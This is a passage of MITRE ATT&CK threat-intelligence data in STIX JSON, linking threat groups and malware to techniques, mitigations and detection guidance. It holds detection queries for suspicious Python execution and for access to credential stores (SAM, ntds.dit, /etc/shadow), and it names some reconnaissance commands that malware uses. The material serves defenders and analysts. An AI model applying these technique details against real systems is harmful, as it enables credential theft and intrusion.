PANDA December 2021)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf63b75f-564f-4713-a5b3-1f102d098e8e","type":"relationship","created":"2019-10-17T19:25:21.088Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-07-09T14:02:05.452Z","description":"Cloud service providers support IP-based restrictions when accessing cloud resources. Consider using IP allowlisting along with user account management to ensure that data access is restricted not only to valid users but only from expected IP ranges to mitigate the use of stolen credentials to access data.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cf6c50a3-1de8-4fb4-8e8f-0a28b642824c","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T20:41:56.829Z","description":"Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor executed commands and arguments that may abuse Python commands and scripts for execution.\n\nAnalytic 1 - Look for unusual Python execution.\n\nOR sourcetype=wineventlog:security OR sourcetype=sysmon\nEventCode=4688 OR EventCode=1 \n| search (process_name=\"python.exe\" OR process_name=\"python3\" OR process_name=\"python\")\n| eval suspicious_script=if(match(command_line, \".* -c .*|.*exec.*|.*import os.*|.*eval.*|.*base64.*\"), \"True\", \"False\")\n| where suspicious_script=\"True\"\n| table _time, user, host, command_line, process_name, parent_process\n ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cf72062c-b62f-4127-b7e3-ac3f941a9599","created":"2022-08-24T14:58:17.532Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Bumblebee June 2022","description":"Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime"},{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-06T14:21:05.588Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) can achieve persistence by copying its DLL to a subdirectory of %APPDATA% and creating a Visual Basic Script that will load the DLL via a scheduled task.(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf752570-48f5-40b6-b448-b4bc009ae5df","type":"relationship","created":"2021-03-26T13:32:03.360Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT31 February 2021","url":"https://research.checkpoint.com/2021/the-story-of-jian/","description":"Itkin, E. and Cohen, I. (2021, February 22). The Story of Jian – How APT31 Stole and Used an Unknown Equation Group 0-Day. Retrieved March 24, 2021."}],"modified":"2021-03-26T13:32:03.360Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has exploited CVE-2017-0005 for local privilege escalation.(Citation: Check Point APT31 February 2021)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cf89fd2c-dc86-4d85-aeaa-b2293803136f","created":"2024-05-25T16:14:53.637Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:15:54.427Z","description":"[Saint Bot](https://attack.mitre.org/software/S1018) is closely correlated with [Saint Bear](https://attack.mitre.org/groups/G1031) operations as a common post-exploitation toolset.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf8f6cd4-cd87-430b-b286-3790c5a97efa","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA459 April 2017","description":"Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts"},{"source_name":"Proofpoint ZeroT Feb 2017","description":"Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}],"modified":"2020-03-21T00:42:09.957Z","description":"[ZeroT](https://attack.mitre.org/software/S0230) has used RC4 to encrypt C2 traffic.(Citation: Proofpoint TA459 April 2017)(Citation: Proofpoint ZeroT Feb 2017)","relationship_type":"uses","source_ref":"malware--4ab44516-ad75-4e43-a280-705dc0420e2f","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cf92a7c7-f14e-41f2-82dd-0d9544a125d3","created":"2022-09-21T17:08:24.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-10T16:51:32.232Z","description":"During [FunnyDream](https://attack.mitre.org/campaigns/C0007), [Chinoxy](https://attack.mitre.org/software/S1041) was used to gain persistence and deploy other malware components.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"malware--0b639373-5f03-430e-b8f9-2fe8c8faad8e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cf9e7512-c510-4605-9035-f60335c351f4","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye FIN7 April 2017","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"},{"source_name":"DOJ FIN7 Aug 2018","description":"Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.","url":"https://www.justice.gov/opa/press-release/file/1084361/download"},{"source_name":"eSentire FIN7 July 2021","description":"eSentire. (2021, July 21). Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using Fake Legal Complaint Against Jack Daniels’ Owner, Brown-Forman Inc.. Retrieved September 20, 2021.","url":"https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc"},{"source_name":"CrowdStrike Carbon Spider August 2021","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"},{"source_name":"Flashpoint FIN 7 March 2019","description":"Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.","url":"https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-05T14:57:10.562Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) sent spearphishing emails with either malicious Microsoft Documents or RTF files attached.(Citation: FireEye FIN7 April 2017)(Citation: DOJ FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)(Citation: eSentire FIN7 July 2021)(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf9f6e3b-b029-4edd-b53d-7f5981bd2302","type":"relationship","created":"2020-05-27T21:22:18.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Charming Kitten Dec 2017","description":"ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"}],"modified":"2020-05-27T21:22:18.518Z","description":"(Citation: ClearSky Charming Kitten Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"malware--e48df773-7c95-4a4c-ba70-ea3d15900148","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfa1709d-7927-4944-911f-ea75f89e3b71","type":"relationship","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.835Z","description":"Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Graeber 2014","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.","url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"},{"source_name":"Microsoft Configure LSA","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.","url":"https://technet.microsoft.com/en-us/library/dn408187.aspx"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfa19bf2-af5e-4050-a3d9-fbd9684b867e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Calisto July 2018","description":"Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.","url":"https://securelist.com/calisto-trojan-for-macos/86543/"}],"modified":"2020-03-17T23:36:02.771Z","description":"[Calisto](https://attack.mitre.org/software/S0274)'s installation file is an unsigned DMG image under the guise of Intego’s security solution for mac.(Citation: Securelist Calisto July 2018)","relationship_type":"uses","source_ref":"malware--b8fdef82-d2cf-4948-8949-6466357b1be1","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfa27aff-a836-4a65-a427-e253587cd0ad","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.","source_ref":"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfa38151-4972-4355-8071-dd36cb1be880","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T00:52:18.837Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) collects network adapter and interface information by using the commands ipconfig /all, arp -a and route print. It also collects the system's MAC address with getmac and domain configuration with net config workstation.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cfa8ecb0-28e4-4e8a-bef6-4a8692ff6721","created":"2024-07-29T22:29:52.632Z","revoked":false,"external_references":[{"source_name":"DomainTools WinterVivern 2021","description":"Chad Anderson. (2021, April 27). Winter Vivern: A Look At Re-Crafted Government MalDocs Targeting Multiple Languages. Retrieved July 29, 2024.","url":"https://www.domaintools.com/resources/blog/winter-vivern-a-look-at-re-crafted-government-maldocs/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-29T22:29:52.632Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) registered domains mimicking other entities throughout various campaigns.(Citation: DomainTools WinterVivern 2021)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cfae5caf-6084-4082-a2a4-8728ea424807","created":"2023-10-12T21:11:03.635Z","revoked":false,"external_references":[{"source_name":"Unit42 OceanLotus 2017","description":"Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.","url":"https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T21:11:03.635Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has used AES in CBC mode to encrypt collected data when saving that data to disk.(Citation: Unit42 OceanLotus 2017)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfaf6b8e-1ee0-40bf-8a60-27f9c68d86c5","type":"relationship","created":"2020-05-14T22:29:26.004Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Sharpshooter December 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."}],"modified":"2020-06-23T00:42:36.379Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) can enumerate information about files from the infected system, including file size, attributes, creation time, last access time, and write time. [Rising Sun](https://attack.mitre.org/software/S0448) can enumerate the compilation timestamp of Windows executable files.(Citation: McAfee Sharpshooter December 2018)\t","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfb05b57-626c-474a-9678-3a0746d68276","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfb4c18a-d76e-47fd-a89b-a4b4fce1c643","type":"relationship","created":"2019-03-25T11:40:59.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft SDelete July 2016","description":"Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.","url":"https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete"}],"modified":"2019-04-24T00:37:08.781Z","description":"[SDelete](https://attack.mitre.org/software/S0195) deletes data in a way that makes it unrecoverable.(Citation: Microsoft SDelete July 2016)","relationship_type":"uses","source_ref":"tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfb7e335-e7a3-4dc3-91b8-70381a888222","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.group-ib.com/blog/cobalt","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","source_name":"Group IB Cobalt Aug 2017"}],"modified":"2020-03-20T23:11:51.513Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has used the Plink utility to create SSH tunnels.(Citation: Group IB Cobalt Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cfba6051-3ed3-49f6-96de-d6af053dce81","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-12T18:59:13.099Z","description":"Monitor file accesses that may indicate attempts to dump credential data from various storage locations such as LSASS memory, SAM, NTDS.dit, LSA secrets, cached domain credentials, proc filesystem, /etc/passwd, and /etc/shadow.\n\nAnalytic 1 - Unauthorized access to credential storage files.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName IN (\"*\\\\config\\\\SAM\", \"*\\\\ntds.dit\", \"*\\\\policy\\\\secrets\", \"*\\\\cache\"))\nOR \n(index=security sourcetype=\"auditd\" (key=\"path\" (value IN (\"/etc/passwd\", \"/etc/shadow\")) OR key=\"proctitle\" value IN (\"*cat*\", \"*strings*\", \"*grep*\", \"*awk*\", \"*cut*\", \"*sed*\", \"*sort*\", \"*uniq*\", \"*head*\", \"*tail*\", \"*less*\", \"*more*\")))\nOR\n(index=security sourcetype=\"macOS:UnifiedLog\" (process IN (\"cat\", \"grep\", \"awk\", \"cut\", \"sed\", \"sort\", \"uniq\", \"head\", \"tail\", \"less\", \"more\") OR message IN (\"/etc/passwd\", \"/etc/shadow\", \"/var/db/shadow/hash/*\", \"/private/etc/master.passwd\")))","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cfbff9fe-2d62-4d80-b7b8-b35e84189803","created":"2023-01-11T19:12:58.278Z","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-11T19:12:58.278Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used a web shell to execute `nltest /trusted_domains` to identify trust relationships.(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfc160e0-af9b-4bff-aacf-7ebb7c909be0","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as Modify System Image and Network Device CLI. Some detection methods require vendor support to aid in investigation.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cfc3d427-79bb-41d1-8336-aa1365555d0f","created":"2023-01-26T21:27:34.025Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:50:07.794Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) has been obfuscated and contains encrypted functions.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cfc5761e-2c94-420a-a985-a4a1d7fe0b7c","created":"2024-10-01T12:01:05.027Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-01T12:01:05.027Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) used intermediate loader malware such as YouieLoader and SplitLoader that create malicious services.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfc64939-1c2c-4bc0-bfac-3492667b1bcd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 SeaDuke 2015","description":"Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 